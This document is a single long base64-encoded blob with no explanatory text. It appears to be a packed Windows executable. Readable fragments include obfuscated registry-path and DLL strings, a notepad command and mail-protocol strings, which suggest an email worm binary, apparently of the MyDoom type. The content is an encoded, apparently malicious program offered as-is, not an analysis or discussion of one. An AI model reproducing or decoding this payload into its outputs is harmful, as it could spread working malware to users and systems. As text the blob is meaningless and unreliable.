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 MDA0/SPbb5MxL3h4IAI6IGFuZHkpAHu7BRvMAi0MAAUcADkJzhD/mQ8BABAACQAS1wMHIX77ZnV2 enRNdi5xeXk3RmL9v/v/c2dqbmVyXFp2cGViZg1cSnZhcWJqZlxQaGV/+f+/F2FnSXJlZnZiYVxS a2N5YmVyZWJ6UXl0M7f4LdgyXBlDanJvRnZrRnq6v/32Z2tGMFNnbmZ4ehcucmtyAEcLWis0BfYj Z0V5l5b/9r9ub3RlcGFkICVzC01lc3NhZ2UALCX7mNsPdRIFLjJ1OgSKbnvPFAYDLy0/K/tv/29D ZWMATm92AE9jdABTTQBBdWcASnVsA7a5261uU2F5D3ByBwNGkLe/XbYTYVNhJ0ZyaQBUaERXZfbO 3bZkB3VzTW8XL2FiY2Sf+8Jv/2doaWprbG2ccHFyc3ROd3h5emf2//9/QUJDREVGR0hJSktMTU5P UFFSU1RVVldYWVobte3W2la412NnVAJQ3Oha4bYIcA5xRiAFn2ocPoJbAHYajmFoeHLd98K2PZNi 7naaXyducHgPoXD4t55iZ3h2Z0tDwwdp3y78fy10dmV5LTIuMG9xcIxfY05wdXJmmaHdCjNcdmkL RDvZ1r5tSGRWLVHgeXPnnvv+bnpjNQB0Z2FbXymPgll27nNjXwdwaS7l3g4Y21FnMCNYbvpuXEcr 3NreW2Fmc9UACmhsoy12gVd8LmRsbLPdUXUmbsnK9nlfQQtkGTB0TrDQatwCd28P8Oht5dYcztFr tgsHbGn8/Nu+YZd1CWUHaW1teWVycjMNbeMbbG4EZA9F3i7wY2wzZGk4YnJl773lt0ZuPgBhYz8X 227D1xo6aBd0x2ZyBIXZCH9TYWNrX2mvwStE/ms9D3NtaXRoW0PeK1/jbQdCAA4HaIzs3iZqb2U/ bmVvL6+1ztTxCyVw2AdnzT23tW9uz3k7tksVvffGGmyPaWTXGx9i3c6582VvT3NLBmV3HIWCcy+u 2iLmtc/w+3dpsGtlzo9pCVAaK52/bQkPYyNHdg+uF/O5AEtobmNjGO4Kjm+qI5lpZmnNrT1dO1/V i3ZuFVDvrbl/m3VwcG+8IcVzb2br8E5jDS9ta3Boz9e9b7p4LmIPZ29sZC1QeGO8JMOYYWZlJUNi NafjMNhDo3DzdoW7aK3QWmeLBluvgjl3WCtkDycfaxBbttaliR90aUqMksHRN3S2K58b2OG1bm0V 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 